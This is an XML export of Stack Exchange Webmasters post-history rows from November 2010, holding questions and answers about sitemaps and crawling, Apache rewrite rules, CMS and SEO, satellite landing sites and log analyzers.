  <row Id="9555" PostHistoryTypeId="2" PostId="4822" RevisionGUID="9844d4d5-6ba1-4ad7-b559-839c7b4b087b" CreationDate="2010-11-02T05:18:22.320" UserId="2898" Text="Sitemaps are incredibly valuable if you use them correctly.&#xD;&#xA;&#xD;&#xA;First off, the fact that Google says they are hints is only there to a) ensure that webmasters aren't under the false impression that sitemap = indexation and b) give Google the ability to ignore certain sitemaps if they deem them to be unreliable (aka lastmod is the current date for all URLs each day they're accessed.)&#xD;&#xA;&#xD;&#xA;However, Google generally likes and consumes sitemaps (in fact they'll sometimes find their own and add them to Google Webmaster Tools). Why? It increases the efficiency with which they can crawl. &#xD;&#xA;&#xD;&#xA;Instead of starting at a seed site and crawling the web, they can allocate an appropriate amount of their crawl budget to a site based on the submitted sitemaps. They can also build up a large history of your site with associated error data (500, 404 etc.)&#xD;&#xA;&#xD;&#xA;From Google: &#xD;&#xA;&#xD;&#xA;&quot;Googlebot crawls the web by following links from one page to another, so if your site isn't well linked, it may be hard for us to discover it.&quot;&#xD;&#xA;&#xD;&#xA;What they don't say is that crawling the web is time consuming and they're prefer to have a cheat sheet (aka sitemap).&#xD;&#xA;&#xD;&#xA;Sure, your site might be just fine from an crawl perspective, but if you want to introduce new content, dropping that content into a sitemap with a high priority is a quicker way to get crawled and indexed. &#xD;&#xA;&#xD;&#xA;And this works for Google too, since they want to find, crawl and index new content - fast. Now, even if you don't think Google prefers the beaten path versus the machete on the jungle approach, there's another reason why sitemaps are valuable - tracking.&#xD;&#xA;&#xD;&#xA;In particular, using a sitemap index (http://sitemaps.org/protocol.php#index) you can break your site down into sections - sitemap by sitemap. By doing so you can then look at the indexation rate of your site section by section. &#xD;&#xA;&#xD;&#xA;One section or content type might have an 87% indexation rate while another could have a 46% indexation rate. It's then your job to figure out why. &#xD;&#xA;&#xD;&#xA;To get full use out of sitemaps you'll want to track Googlebot (and Bingbot) crawl on your site (via weblogs), match those to your sitemaps and then follow it all through to traffic.&#xD;&#xA;&#xD;&#xA;Don't go to sleep on sitemaps - invest in them. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="9556" PostHistoryTypeId="2" PostId="4823" RevisionGUID="5b513b54-d23a-4d11-8e56-e6f59e2989f1" CreationDate="2010-11-02T05:35:41.830" UserId="1064" Text="The redirect behavior is FaceBook acting as *intended* - you could try searching within the FaceBook application for the link to your content or you could run a search to the effect of [site:facebook.com link:example.com][1] but, as FaceBook privacy settings may apply to the link, there's no guarantee you'll be able to see who's linking to you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=site%3Afacebook.com+link%3Aexample.com" />
  <row Id="9557" PostHistoryTypeId="2" PostId="4824" RevisionGUID="5f3d7a33-5562-4cb7-9352-e9b6818e0e62" CreationDate="2010-11-02T07:34:56.663" UserId="1757" Text="If the referrer isn't a private page, you could try a Google search with:&#xD;&#xA;&#xD;&#xA;    link:http://www.facebook.com/l.php?url=http://www.example.com/mypage.html&#xD;&#xA;&#xD;&#xA;This will find pages linking to that redirect page, if they're indexed." />
  <row Id="9562" PostHistoryTypeId="5" PostId="4813" RevisionGUID="23f0d2b4-004b-4bbe-96e6-65d7f3ff9bf9" CreationDate="2010-11-02T08:27:21.350" UserId="2288" Comment="added 1 characters in body" Text="DO NOT USE SITEMAPS&#xD;&#xA;-------------------&#xD;&#xA;&#xD;&#xA;Sitemaps are mainly for sites that do not timestamp indexes and nodes.... SE does both for it's core content, so having a sitemap will slow a crawler down... Yes, that's right, it will slow it down, because the sitemap lacks the metadata that the core indexes have. On the flipside, I have no real idea how google builds it's bots, just know if I was going to bot SE, I would NOT use the sitemap. Plus, some site's don't even notice that their sitemaps are all %!@$ -- and if you've built a profile on a sitemap that's all the sudden not working, and you've got to create a new profile off the real site. &#xD;&#xA;&#xD;&#xA;So, you're right -- **DO NOT USE SITEMAPS!**&#xD;&#xA;&#xD;&#xA;**TIP:** One thing you should do though is keep the semantics of the tags the same over time as much as possible, meaning if &quot;Asked One Hour Ago&quot; has a metadata embed in it like:&#xD;&#xA;&#xD;&#xA;    title=&quot;2010-11-02 00:07:15Z&quot; class=&quot;relativetime&quot;&#xD;&#xA;&#xD;&#xA;never change the string name `relativetime`, unless the meaning of the data in `title` has changed. **NEVER... :-)**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="9564" PostHistoryTypeId="5" PostId="4824" RevisionGUID="2c486e43-ec5c-445b-80e0-f44e100bda56" CreationDate="2010-11-02T08:42:13.783" UserId="1757" Comment="added 269 characters in body" Text="If the referrer isn't a private page, you could try a Google search with:&#xD;&#xA;&#xD;&#xA;    link:http://www.facebook.com/l.php?url=http://www.example.com/mypage.html&#xD;&#xA;&#xD;&#xA;This will find pages linking to that redirect page, if they're indexed.&#xD;&#xA;&#xD;&#xA;**Edit:** Nevermind, this doesn't seem to work *at all*. I tried a link search of a few of different links from various public facebook pages, and they all return nothing. Google is indexing these pages, but for some reason the `link:` operator doesn't return them." />
  <row Id="9566" PostHistoryTypeId="2" PostId="4827" RevisionGUID="f73e8163-cae5-466a-a565-0b0043f55506" CreationDate="2010-11-02T09:10:26.023" UserId="2290" Text="if you care about this topic, please read this great google papar http://googlewebmastercentral.blogspot.com/2009/04/research-study-of-sitemaps.html ( april 2009 ) - read the complete paper, not only the blogpost.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;from the paper&#xD;&#xA; * ok, basically google struggled with the same question.&#xD;&#xA; * they do not disclose how they determine value within the sitemap, but they mention the concept of a virtual link from the start page to the sitemap.&#xD;&#xA; * lots of other interesting stuff&#xD;&#xA;&#xD;&#xA;but yeah, the sitemap is mostly used for discovery (the process of google discovering your stuff), not for value determination. if you struggle with discovery, use a sitemap. discovery is a precondition to crawling, but does not touch value determination. &#xD;&#xA;&#xD;&#xA;from my experience&#xD;&#xA; * there are a sh*tload of sites that just use HTML and XML sitemaps for interlinking of their pages&#xD;&#xA; * and of these, the XML sitemap is much much much better crawled then HTML sitemap. (i took a really good look at some really big ones)&#xD;&#xA; * there are even very successful sites that just use XML sitemap.&#xD;&#xA;&#xD;&#xA;when i implement a SEO strategy for a site with more than half a million pages i go for&#xD;&#xA; * landingpages&#xD;&#xA; * sitemap.xml&#xD;&#xA; * start page&#xD;&#xA;everything else is just &quot;balast&quot; - yeah, other stuff might have positive SEO value, but definitely has a negative value: it makes the site harder to manage. (p.s.: for value determination i interlink the landingpages in a sensemaking way (big impact), but thats already the second step).&#xD;&#xA;&#xD;&#xA;about your question: please do not confuse discovery, crawling, indexing and ranking. you can track all of them separately, and you can optimize all of them separately. and you can enhance enhance discovery and crawling in a major way with a great (i.e.: real time) sitemap.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  " />
  <row Id="9567" PostHistoryTypeId="2" PostId="4828" RevisionGUID="8905d694-c8fe-453f-bedb-6ea1aa117f90" CreationDate="2010-11-02T09:14:13.503" UserId="2912" Text="You're looking for [Backfire][1], a client/server script (currently javascript/C#). It doesn't require Firebug (it's not a Firebug addon), and it works in both Firefox and Webkit-based browsers. With Backfire you can change the page's state any way you want (Firebug is a great way) and then click the Save button to save the changes to the server.&#xD;&#xA;&#xD;&#xA;In terms of implementation, after clicking save your server-side code will receive a post containing a list of changes, and when you download Backfire you'll see an example implementation showing you how to store the changes in your CSS files. It works across multiple files and (in Firefox) with shorthand CSS rules, etc, all while maintaining the structure of your original CSS files.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.quplo.com/2010/08/backfire-save-css-changes-made-in-firebug/" />
  <row Id="9568" PostHistoryTypeId="2" PostId="4829" RevisionGUID="020c3661-10b7-4dfd-bf75-f4de266aa0bc" CreationDate="2010-11-02T09:25:07.190" UserDisplayName="sickmind_no" Text="I´ve done simular sites with shopp and wordpress, the potensial is huge, but it will requere som php knowledge and understanding of the wp source and structure.&#xD;&#xA;&#xD;&#xA;You should use the solution you´ll feel comfortable with, and do some custom developement for this soulution, since there often isn´t any completely ready-made carts that have everything you will have, or wish you have.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9569" PostHistoryTypeId="2" PostId="4830" RevisionGUID="f158ad29-b7f1-471c-9324-6802c9172d18" CreationDate="2010-11-02T09:57:19.910" UserId="2916" Text="i'm quite surprized this hasn't been asked yet&#xD;&#xA;&#xD;&#xA;so for a given web app and a given set of potential users of this web app the goal would be to reach this set of potential users. how to achieve this?" />
  <row Id="9570" PostHistoryTypeId="1" PostId="4830" RevisionGUID="f158ad29-b7f1-471c-9324-6802c9172d18" CreationDate="2010-11-02T09:57:19.910" UserId="2916" Text="how to promote a web app?" />
  <row Id="9571" PostHistoryTypeId="3" PostId="4830" RevisionGUID="f158ad29-b7f1-471c-9324-6802c9172d18" CreationDate="2010-11-02T09:57:19.910" UserId="2916" Text="&lt;web-development&gt;&lt;advertising&gt;&lt;google-adsense&gt;&lt;websites&gt;&lt;web-applications&gt;" />
  <row Id="9572" PostHistoryTypeId="2" PostId="4831" RevisionGUID="074e9a31-b8e0-4997-961e-db30f67c8604" CreationDate="2010-11-02T10:11:15.967" UserId="9652" Text="I heard that sitemaps put your pages into the supplemental index faster. But I haven't even heard the supplemental index mentioned in ages, so they may not be using it anymore.&#xD;&#xA;&#xD;&#xA;P.S. in case my statement isn't clear enough, being in the supplemental index is (or was) a BAD thing...therefore a sitemap is (or was) BAD." />
  <row Id="9573" PostHistoryTypeId="2" PostId="4832" RevisionGUID="72fc8f31-ad54-4eb7-8ee0-34507cf43e20" CreationDate="2010-11-02T10:27:04.787" UserId="1622" Text="I would recommend using a product already geared towards document management instead of customizing something.&#xD;&#xA;Among open-source products, I recommend Alfresco ([http://www.alfresco.com/products/dm/][1]).&#xD;&#xA;&#xD;&#xA;If the information is extensive and a matter of legal issues you might want to check out the ECM-market.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alfresco.com/products/dm/&#xD;&#xA;" />
  <row Id="9578" PostHistoryTypeId="2" PostId="4835" RevisionGUID="dc107151-b225-46e2-865f-a83705691c74" CreationDate="2010-11-02T12:35:05.423" UserId="1429" Text="Jeff, I have no idea about Stackoverflow because I have never had the opprtunity in my life to be a webmaster of such a huge and so frequently updated website.&#xD;&#xA;&#xD;&#xA;**For small websites that does not change ferquently I think sitemap are quite useful** (not saying that sitemap is the most important thing, but quite useful yes) for two reasons:&#xD;&#xA;&#xD;&#xA;1. site is crawled quikly (same reason explained by [Joshak answer above][1]) and **in my small experience I noticed this many times with small sites** (up to 30/50 pages)&#xD;&#xA;&#xD;&#xA;2. after few days I submitted a sitmap, I look in Google Webmaster Tools - Sitempas and in one blow eye I see **number of URLs submitted in sitemap VS the number of URLs in web index**, if I see they are the same good, otherwise I can check up immediately in my websites what pages are not getting indexed and why.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4803/the-sitemap-paradox/4809#4809" />
  <row Id="9579" PostHistoryTypeId="2" PostId="4836" RevisionGUID="9e681754-a374-43f5-aedb-71f547975983" CreationDate="2010-11-02T12:43:48.393" UserId="2776" Text="We use sitemaps (not submitted to search engines, but linked in `robots.txt` mainly for making sure the homepage has the highest `&lt;priority&gt;`. I'm not sure whether they have much other use." />
  <row Id="9580" PostHistoryTypeId="2" PostId="4837" RevisionGUID="4d7f2334-a73c-45a8-b56a-ec7fa2bbf82a" CreationDate="2010-11-02T13:50:56.310" UserId="1429" Text="Add these type of HTML conditional comment in your page HTML source &#xD;&#xA;&#xD;&#xA;    &lt;!--[if IE 6]&gt;&#xD;&#xA;    &lt;h1&gt;Hello, u r using IE6, your message here&lt;/h1&gt;&#xD;&#xA;    &lt;![endif]--&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;!--[if IE 7]&gt;&#xD;&#xA;    &lt;h1&gt;Hello, u r using IE7, your message here&lt;/h1&gt;&#xD;&#xA;    &lt;![endif]--&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;!--[if lt IE 8]&gt;&#xD;&#xA;    &lt;h1&gt;Hello you are using a version of IE less than IE8, your message here&lt;/h1&gt;&#xD;&#xA;    &lt;![endif]--&gt;&#xD;&#xA;&#xD;&#xA;All above will be skipped like normal HTML comment by ALL browsers except IE that will parse these and beahve accordingly.&#xD;&#xA;" />
  <row Id="9581" PostHistoryTypeId="2" PostId="4838" RevisionGUID="0f4365b6-f4b3-41a5-a683-d8f96d82b129" CreationDate="2010-11-02T14:09:00.230" UserDisplayName="Thomas Martin Klein" Text="De question here is what size the audience is? &#xD;&#xA;&#xD;&#xA;**If it is big**, then you just advertise where most people will see it.&#xD;&#xA;&#xD;&#xA;**If it is smaller**, then you target for the common features of the audience, and find websites, magazines, and the sort of stuff, they get in contact with.&#xD;&#xA;&#xD;&#xA;But as allways, the best ad. is a happy customer. &#xD;&#xA;&#xD;&#xA;And be prepared that you will spend more on this, than the development of the thing.&#xD;&#xA;And by More, i mean **three** or **four** fold to begin with.&#xD;&#xA;&#xD;&#xA;Bests&#xD;&#xA;&#xD;&#xA;Thomas&#xD;&#xA;" />
  <row Id="9582" PostHistoryTypeId="5" PostId="4835" RevisionGUID="caf72fe3-71d0-4f3f-977d-3d34ceb927b4" CreationDate="2010-11-02T14:20:17.660" UserId="1429" Comment="deleted 2 characters in body; added 2 characters in body" Text="Jeff, I have no idea about Stackoverflow because I have never had the opprtunity in my life to be a webmaster of such a huge and so frequently updated website.&#xD;&#xA;&#xD;&#xA;**For small websites that do not frequently change I think sitemap are quite useful** (not saying that sitemap is the most important thing, but quite useful yes) for two reasons:&#xD;&#xA;&#xD;&#xA;1. site is crawled quikly (same reason explained by [Joshak answer above][1]) and **in my small experience I noticed this many times with small sites** (up to 30/50 pages)&#xD;&#xA;&#xD;&#xA;2. after few days I submitted a sitmap, I look in &quot;Google Webmaster Tools - Sitemaps&quot; and in one blow eye I see **number of URLs submitted in sitemap VS the number of URLs in web index**, if I see they are the same good, otherwise I can check up immediately in my websites what pages are not getting indexed and why.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4803/the-sitemap-paradox/4809#4809" />
  <row Id="9583" PostHistoryTypeId="2" PostId="4839" RevisionGUID="1cb406cd-9f52-4ed4-8ae8-34d854d99516" CreationDate="2010-11-02T14:25:48.813" UserId="1953" Text="You might try searching Google real time:&#xD;&#xA;http://www.google.com/realtime?hl=en&amp;tab=wY&#xD;&#xA;&#xD;&#xA;If it's a public status update in theory it would show up there. (Google realtime in my experience isn't that reliable but it's worth a shot)." />
  <row Id="9584" PostHistoryTypeId="2" PostId="4840" RevisionGUID="fd7b36f1-97b0-4c3b-be6b-0bf96cea31fe" CreationDate="2010-11-02T14:28:37.703" UserId="2279" Text="I often hear and read that if you are serious about SEO you should avoid using a CMS.&#xD;&#xA;&#xD;&#xA;Are there any credible reasons as to why a CMS can be bad for SEO/Website optimisation?" />
  <row Id="9585" PostHistoryTypeId="1" PostId="4840" RevisionGUID="fd7b36f1-97b0-4c3b-be6b-0bf96cea31fe" CreationDate="2010-11-02T14:28:37.703" UserId="2279" Text="Why can using a CMS be bad for SEO?" />
  <row Id="9586" PostHistoryTypeId="3" PostId="4840" RevisionGUID="fd7b36f1-97b0-4c3b-be6b-0bf96cea31fe" CreationDate="2010-11-02T14:28:37.703" UserId="2279" Text="&lt;seo&gt;&lt;cms&gt;" />
  <row Id="9587" PostHistoryTypeId="2" PostId="4841" RevisionGUID="b7912c9a-80e8-43db-aeee-1a6f870f1ce8" CreationDate="2010-11-02T14:31:20.713" UserId="2940" Text="I need to change this so that one file in wp-admin is not forced through https:&#xD;&#xA;&#xD;&#xA;    # add a trailing slash to /wp-admin&#xD;&#xA;    RewriteCond %{REQUEST_URI} ^.*/wp-admin$&#xD;&#xA;    RewriteRule ^(.+)$ https://%{SERVER_NAME}/$1/ [R=301,L]&#xD;&#xA;&#xD;&#xA;This forces all requests to /wp-admin through SSL but it is breaking a wordpress plugin which needs to access wp-admin/admin-ajax.php.&#xD;&#xA;&#xD;&#xA;Is there a way to adjust the rule so that it will allow non encrypted requests to that one file?&#xD;&#xA;&#xD;&#xA;thanks!" />
  <row Id="9588" PostHistoryTypeId="1" PostId="4841" RevisionGUID="b7912c9a-80e8-43db-aeee-1a6f870f1ce8" CreationDate="2010-11-02T14:31:20.713" UserId="2940" Text="How to add an exception to this rewrite rule" />
  <row Id="9589" PostHistoryTypeId="3" PostId="4841" RevisionGUID="b7912c9a-80e8-43db-aeee-1a6f870f1ce8" CreationDate="2010-11-02T14:31:20.713" UserId="2940" Text="&lt;apache&gt;" />
  <row Id="9590" PostHistoryTypeId="2" PostId="4842" RevisionGUID="33a2881a-d592-442f-99e3-8295c7c48154" CreationDate="2010-11-02T14:34:01.530" UserId="108" Text="Today on Google's Official Webmaster blog they posted about running multiple sites with similar content, [here][1].&#xD;&#xA;&#xD;&#xA;After reading it and looking at the comments I noticed two things.  First Google doesn't seem to respond to the great questions people have.&#xD;&#xA;&#xD;&#xA;Secondly, this question from Autocrat struck a cord with me:&#xD;&#xA;&#xD;&#xA;&gt; --- Interlinking mutually owned sites --- &#xD;&#xA;&gt; &#xD;&#xA;&gt; Some people run multiple sites for the same niche, or for highly&#xD;&#xA;&gt; similar/related niches/terms. They&#xD;&#xA;&gt; then link between them, bolstering&#xD;&#xA;&gt; their apparent popularity as well as&#xD;&#xA;&gt; attempting to increase their relevancy&#xD;&#xA;&gt; for specific terms via link text.&#xD;&#xA;&#xD;&#xA;Where I work they believe there is value in buying many domain names related to its products.  They post unique content on each related domain except they reuse .pdf documents. They also include links to our main website and other landing sites.&#xD;&#xA;&#xD;&#xA;They use Adword campaigns specific to each domain to bring paid traffic to the site with the hopes of driving customers to the main site.&#xD;&#xA;&#xD;&#xA;They have done this for years and it takes a ton of time to keep these sites up.  Also, it is tough to measure if we get value from them.&#xD;&#xA;&#xD;&#xA;My questions are:&#xD;&#xA; &#xD;&#xA; - Is there really any benefits of having these external landing pages to the site?   .&#xD;&#xA; - Would it be more valuable to move the landing page content to inside of the site? &#xD;&#xA; - Finally, is there any way to truly measure the value these sites are adding through increased Page Rank on our main site?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/11/best-practices-for-running-multiple.html" />
  <row Id="9591" PostHistoryTypeId="1" PostId="4842" RevisionGUID="33a2881a-d592-442f-99e3-8295c7c48154" CreationDate="2010-11-02T14:34:01.530" UserId="108" Text="Pros/Cons of Interlinked Landing Pages" />
  <row Id="9592" PostHistoryTypeId="3" PostId="4842" RevisionGUID="33a2881a-d592-442f-99e3-8295c7c48154" CreationDate="2010-11-02T14:34:01.530" UserId="108" Text="&lt;seo&gt;&lt;landing-page&gt;" />
  <row Id="9593" PostHistoryTypeId="2" PostId="4843" RevisionGUID="e54d4c8d-1e88-4329-b3d6-9ce3a7f9e415" CreationDate="2010-11-02T14:35:33.280" UserId="1279" Text="You can try [Vanilla Forums][1] with the [Voting plugin][2]. A demo can be seen [here][3]. Vanilla is an acquired taste. :-)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vanillaforums.org/&#xD;&#xA;  [2]: http://vanillaforums.org/addon/voting-plugin&#xD;&#xA;  [3]: http://vanillaforums.org/discussions" />
  <row Id="9594" PostHistoryTypeId="2" PostId="4844" RevisionGUID="31e69d69-6215-4d2d-9fca-56a1788104bf" CreationDate="2010-11-02T14:36:05.873" UserId="1253" Text="The only reason I can think of is they may not use search engine friendly URLs. This reason was much more common in the past but nowadays every major CMS is search engine friendly by default or offers the ability to be search engine friendly either by choosing the proper setting or installing a plug in.&#xD;&#xA;" />
  <row Id="9595" PostHistoryTypeId="2" PostId="4845" RevisionGUID="baf66488-484d-400d-b343-9d6039a66b21" CreationDate="2010-11-02T14:38:38.380" UserId="1279" Text="Depends on the CMS and the theme. Many popular CMS's support friendly URLs and have SEO friendly themes and plugins." />
  <row Id="9596" PostHistoryTypeId="2" PostId="4846" RevisionGUID="58ccf087-2591-495f-aef4-0164514f4d77" CreationDate="2010-11-02T14:43:37.250" UserId="2942" Text="I would like to know if there is any &quot;advertising platform&quot; cms arround, in order to host affiliate marketing tags / banners / etc&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="9597" PostHistoryTypeId="1" PostId="4846" RevisionGUID="58ccf087-2591-495f-aef4-0164514f4d77" CreationDate="2010-11-02T14:43:37.250" UserId="2942" Text="Advertising Platform CMS" />
  <row Id="9598" PostHistoryTypeId="3" PostId="4846" RevisionGUID="58ccf087-2591-495f-aef4-0164514f4d77" CreationDate="2010-11-02T14:43:37.250" UserId="2942" Text="&lt;advertising&gt;&lt;cms&gt;&lt;marketing&gt;&lt;affiliate&gt;" />
  <row Id="9599" PostHistoryTypeId="2" PostId="4847" RevisionGUID="08717c95-aee6-45e5-a875-93e6a5b65543" CreationDate="2010-11-02T14:50:58.527" UserId="1253" Text="If the goal of the satellite sites is to drive traffic to the main site, which is about the same topic, then there's really no difference between these satellite sites and having landing pages on your main website. They do the same exact thing except now you have additional websites you have to maintain. If you're trying to establish a brand why confuse your users with other names or domains when they can know about your main website/brand right off the bat?&#xD;&#xA;&#xD;&#xA;As far as PageRank goes, PR is domain independent is calculated on a per page basis. So whether those pages are on the same domain or not is irrelevant. Any links to your main site's home page, whether from an internal page or external page, will &quot;pass&quot; the same amount of PageRank. As far as affecting your main site's page ranking, I doubt those satellite sites have established themselves as important in their niche (it seems they exist only to receive paid traffic and aren't in-and-of themselves designed to be considered important to anyone but the users driven there by the advertising) and thus links from them won't carry any significant value. Definitely no more then if they were part of the main website.&#xD;&#xA;&#xD;&#xA;I have the feeling someone is going to want to mention that links from external sites are worth more then links from internal pages. This is really only true when the external site has established itself in your niche (i.e. ranks well for the terms you wish to rank well for). Otherwise those links from the satellite sites aren't as value as them may seem. In order for them to reach that level you'd need to put a lot of time and effort into them, as mentioned in the blog post you refereed to above, and at that point they've gone way beyond landing page. At that point you'll want that content on your main website to increase its link popularity, etc." />
  <row Id="9600" PostHistoryTypeId="2" PostId="4848" RevisionGUID="fb35b18b-bb4c-4de3-bd49-a60a67c0d4c4" CreationDate="2010-11-02T14:52:06.757" UserId="2648" Text="I kind of solved my own problem. The problem is that the autoHeight JQuery calculates the iframe but cannot look at other domains. &quot;Cross-domain autoHeight js&quot; brings enough results in Google, but not many easy answers.&#xD;&#xA;&#xD;&#xA;I now solved it (sort of) by adding a div between the &lt;head&gt; &lt;/head&gt; part:&#xD;&#xA;&#xD;&#xA;    &lt;div style=&quot;min-height:800px !important; overflow:auto !important; height:100% !important; width:auto !important; margin:5px !important; font-size:inherit !important&quot;&gt;	&#xD;&#xA;&#xD;&#xA;Now it renders well, does not autoexpand, but that is not a problem (it shows a scrollbar when the page is becoming longer than 800px.&#xD;&#xA;" />
  <row Id="9601" PostHistoryTypeId="2" PostId="4849" RevisionGUID="d33e3b37-6661-4760-85ce-d9fa865183ff" CreationDate="2010-11-02T14:52:07.853" UserId="2209" Text="Have not tested it, but this should do it...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RewriteEngine On &#xD;&#xA;    RewriteCond %{SERVER_PORT} 80 &#xD;&#xA;    RewriteCond %{REQUEST_URI} somefolder &#xD;&#xA;    RewriteRule ^(.*)$ http://www.domain.com/somefolder/$1 [R,L]" />
  <row Id="9602" PostHistoryTypeId="2" PostId="4850" RevisionGUID="77c58753-6e24-4a05-a5b8-4a3abc3e089e" CreationDate="2010-11-02T14:54:47.143" UserId="2608" Text="I would recommend finding a third party module and using one of the mainstream CMS platforms out there, such as Drupal, Jooma &amp; Wordpress.  You can in addition integrate Google Ads if that is needed." />
  <row Id="9603" PostHistoryTypeId="5" PostId="4847" RevisionGUID="51e2293c-7741-43b7-bf82-91ef78fce7b1" CreationDate="2010-11-02T14:58:33.963" UserId="1253" Comment="added 686 characters in body; added 1 characters in body; added 7 characters in body" Text="If the goal of the satellite sites is to drive traffic to the main site, which is about the same topic, then there's really no difference between these satellite sites and having landing pages on your main website. They do the same exact thing except now you have additional websites you have to maintain. If you're trying to establish a brand why confuse your users with other names or domains when they can know about your main website/brand right off the bat?&#xD;&#xA;&#xD;&#xA;As far as PageRank goes, PR is domain independent is calculated on a per page basis. So whether those pages are on the same domain or not is irrelevant. Any links to your main site's home page, whether from an internal page or external page, will &quot;pass&quot; the same amount of PageRank. As far as affecting your main site's page ranking, I doubt those satellite sites have established themselves as important in their niche (it seems they exist only to receive paid traffic and aren't in-and-of themselves designed to be considered important to anyone but the users driven there by the advertising) and thus links from them won't carry any significant value. Definitely no more then if they were part of the main website.&#xD;&#xA;&#xD;&#xA;I have the feeling someone is going to want to mention that links from external sites are worth more then links from internal pages. This is really only true when the external site has established itself in your niche (i.e. ranks well for the terms you wish to rank well for). Otherwise those links from the satellite sites aren't as value as them may seem. In order for them to reach that level you'd need to put a lot of time and effort into them, as mentioned in the blog post you refereed to above, and at that point they've gone way beyond landing page. At that point you'll want that content on your main website to increase its link popularity, etc.&#xD;&#xA;&#xD;&#xA;My opinion: if you're having a hard time quantifying the usefulness of these sites then they can't be doing too good of a job of converting users (assuming you are tracking that). That doesn't mean they aren't working to some degree, but considering there are alternatives that can perform just as well but with less work, it may be a better use of resources to fold those sites into the main sites they are designed to funnel traffic to and have your advertising send people to landing pages on the site you ultimately want them to go in the first place. If you run multiple main sites, interlink between them. It's smart SEO and will help your users find what they are looking for anyway." />
  <row Id="9604" PostHistoryTypeId="10" PostId="4830" RevisionGUID="f3341ec5-fa83-47f1-98df-eec8a701d837" CreationDate="2010-11-02T15:00:48.410" UserId="-1" CloseReasonId="4" Text="[{&quot;Id&quot;:233,&quot;DisplayName&quot;:&quot;DisgruntledGoat&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="9605" PostHistoryTypeId="5" PostId="4836" RevisionGUID="8b3fc57a-783f-4518-8e19-7104f8f78247" CreationDate="2010-11-02T15:20:49.733" UserId="2776" Comment="typo: missing closing bracket" Text="We use sitemaps (not submitted to search engines, but linked in `robots.txt`) mainly for making sure the homepage has the highest `&lt;priority&gt;`. I'm not sure whether they have much other use." />
  <row Id="9606" PostHistoryTypeId="2" PostId="4851" RevisionGUID="148a8c74-18d1-4cd7-a636-58e8048f7ba3" CreationDate="2010-11-02T15:24:44.733" UserId="2293" Text="The main reason is about URLs.&#xD;&#xA;&#xD;&#xA;Raw CMS' URLs  aren't friendly, easy to crawl, index, and with relevant keywords.&#xD;&#xA;&#xD;&#xA;Of course, as afore mentioned, you can tune those settings or use a plugin or addon to correct that.&#xD;&#xA;&#xD;&#xA;Other reasons are about the semantics. I **never** saw a rich editor with full capabilities to compose even a POSH (plain old semantic html) code, so you can imagine about the really semantic code, with microformats, RDFa or microdata.&#xD;&#xA;&#xD;&#xA;By full capabilities on code, I mean the possibility to correct use of tags as caption, code, dt, dl, fieldset, label, and so on.&#xD;&#xA;&#xD;&#xA;Thing is, you use a CMS for speed up common publishing. To help you on repetitive tasks. But if you have SEO in mind, you won't start a project with the CMS. You'll start it on a IA session, deciding what put on each page, how sections are related, and getting the sitemap (with URLs) even before the pages actually exists. Then will start designing the page concept, in the most semantic way possibile to ensure the proper indexing.&#xD;&#xA;&#xD;&#xA;There is nothing repetitive in this process, and publishing content. Thus, if you really really really serious about (on page) SEO, probably will drop a CMS and adopt other process for creation and deploy.&#xD;&#xA;&#xD;&#xA;And this is true not only for CMS. Frameworks also tends to suck even more then CMS when the subject is friendly URLs." />
  <row Id="9607" PostHistoryTypeId="2" PostId="4852" RevisionGUID="bea9d4b2-ccc7-43e8-a3a4-fd80652f0a54" CreationDate="2010-11-02T15:25:47.010" UserId="2730" Text="**What real-time log analyzer can you suggest for Apache access and error logs?**&#xD;&#xA;&#xD;&#xA;There is a [list of web analytics software][1] on wikipedia, but it would be great to hear opinions from people with experience without having to try all of them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please don't suggest Google Analytics or any other hosted/javascript analytics suites, already using them, GA is not real-time and it is missing some data that the logs show. For example the full query-string of the referral, IP addresses, visitor path through the website, etc ...&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/List_of_web_analytics_software" />
  <row Id="9608" PostHistoryTypeId="1" PostId="4852" RevisionGUID="bea9d4b2-ccc7-43e8-a3a4-fd80652f0a54" CreationDate="2010-11-02T15:25:47.010" UserId="2730" Text="What is the best Apache logs Analyzer?" />
  <row Id="9609" PostHistoryTypeId="3" PostId="4852" RevisionGUID="bea9d4b2-ccc7-43e8-a3a4-fd80652f0a54" CreationDate="2010-11-02T15:25:47.010" UserId="2730" Text="&lt;apache&gt;&lt;analytics&gt;" />
  <row Id="9610" PostHistoryTypeId="5" PostId="4823" RevisionGUID="b2ac817b-1357-452b-876d-9bad32f997be" CreationDate="2010-11-02T15:29:25.947" UserId="1064" Comment="site: and link: are mutually-exclusive" Text="The redirect behavior is FaceBook acting as *intended* - you could try searching within the FaceBook application for the link to your content &lt;s&gt;or you could run a search to the effect of [site:facebook.com link:example.com][1]&lt;/s&gt; but, as FaceBook privacy settings may apply to the link, there's no guarantee you'll be able to see who's linking to you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=site%3Afacebook.com+link%3Aexample.com" />
